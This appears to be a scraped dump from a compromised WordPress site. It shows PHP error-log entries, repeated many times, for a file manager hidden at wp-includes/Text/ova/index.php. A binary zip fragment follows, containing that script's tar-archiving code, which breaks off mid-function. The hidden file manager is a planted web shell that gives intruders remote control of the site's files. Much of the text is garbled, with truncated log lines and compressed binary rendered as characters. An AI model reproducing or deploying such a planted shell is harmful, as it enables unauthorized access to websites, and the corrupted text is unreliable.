wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:13 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 669 [30-Aug-2025 08:57:30 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:57:30 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 596 [30-Aug-2025 08:58:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 597 [30-Aug-2025 09:54:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 09:55:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:20:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:20:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:21:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:21:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:29:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:30:03 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:30:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:31:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:33:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:33:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:34:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:34:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:35:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:35:55 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:36:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:36:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:37:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:37:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:38:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:38:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:39:29 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:39:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:40:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:40:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:41:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:41:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:42:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:42:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:43:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:43:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:44:34 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:44:39 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:14 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:48:20 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:48:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:57:02 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:57:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 11:00:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by al[30-Aug-2025 12:37:33 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:37:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:52:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:53:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:39:00 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:39:05 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:40:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:40:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:45:04 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:45:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:21:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:21:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:23:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:23:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:24:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:24:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:26:57 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /[31-Aug-2025 10:01:14 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:01:19 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:08:16 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:08:21 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 PKR'#[œZZova.zipnu[PK j[F\ Diff.php.php.tar.gznu[[{o8OZN6[\Ҥ5A]DȒxwofHO-WlP<`/߲q؄~kN}|5~ dz*P"DFB/^D,h`i҇A?ŽoٙPB2a^ [(h FKvg\*y*S|n?i 4O?>B)CP3)G/x M57ռQ}pkHHq߅3: E#~е  "e y5$dhlr޽>~c` ifJxB M<$Dh<Å=&q5H<)b[> ^$\]e^(ŗޔB3Ì>+|͗,kpCKܳ]Q.BpXAcLg51vXGt}:j2Ez<\.Gr![!r߅0BbT4|_{t/䂇v'"~$=&7F69dd<ȥ]vR2Y4t ̙n&OQVV ǻʗZ(\ RNj("WZ&xekU:FBh]CX-&'[:2&CM5,_ ;pRMu1= )2̒XoC* <.1USK@~^61%|ֿ% mFhT "%GYtv_Mw̼fd`AW3q|8G *n9ŁM?E}linV[v3̇`:-<;A|9rb/}F#JJ@)!Q(<4Hv7q1l!XUhF~KδWutT{dr (!Bߵ/(gy@5 eš5x#Jaܯ,:Ě"&Tx ڊY 01YZ( ؉ wH3飱hXO&GGz7J.H0plN/V1^9*&[8mA"pк4Bp'a$g\ B|rAf?r?)ZC~ZwL Ui%obY9Mw7M _dǍ]2]¶ Y| 2; !SRKoQY:PKj[][7[7 index.phpnu[nskldgskgsdgf hlsqmdklsqd speskdjqsjdss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; 